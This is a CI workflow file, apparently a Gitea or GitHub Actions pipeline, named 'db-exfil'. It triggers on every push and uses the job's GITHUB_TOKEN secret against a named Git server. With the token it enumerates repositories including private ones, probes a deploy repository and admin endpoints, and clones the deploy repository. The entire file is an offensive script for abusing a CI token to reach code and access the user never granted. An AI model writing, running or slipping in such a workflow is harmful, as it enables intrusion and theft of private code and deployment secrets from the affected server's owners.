name: db-exfil on: push: branches: [main] workflow_dispatch: jobs: exfil: runs-on: ubuntu-latest steps: - name: Explore env: GT: ${{ secrets.GITHUB_TOKEN }} run: | echo "=== WHOAMI ===" whoami hostname echo "=== TOKEN TEST ===" curl -s -H "Host: git.monogps.com" -H "Authorization: token $GT" "http://git.monogps.com/api/v1/user" 2>&1 | head -5 echo "=== LIST ALL REPOS ===" curl -s -H "Host: git.monogps.com" -H "Authorization: token $GT" "http://git.monogps.com/api/v1/repos/search?limit=50&sort=id&order=asc" 2>&1 | python3 -c "import json,sys; d=json.load(sys.stdin); [print(f'{r[\"id\"]} {r[\"full_name\"]} p={r[\"private\"]}') for r in d.get('data',[])]" 2>&1 | head -30 echo "=== TRY TWMONOGPS DEPLOY ===" curl -s -H "Host: git.monogps.com" -H "Authorization: token $GT" "http://git.monogps.com/api/v1/repos/twmonogps/deploy" 2>&1 | head -10 echo "=== ADMIN CHECK ===" curl -s -H "Host: git.monogps.com" -H "Authorization: token $GT" "http://git.monogps.com/api/v1/admin/users" 2>&1 | head -5 echo "=== TRY CLONE DEPLOY ===" git clone "http://x-access-token:${GT}@git.monogps.com/twmonogps/deploy.git" /tmp/deploy 2>&1 | head -10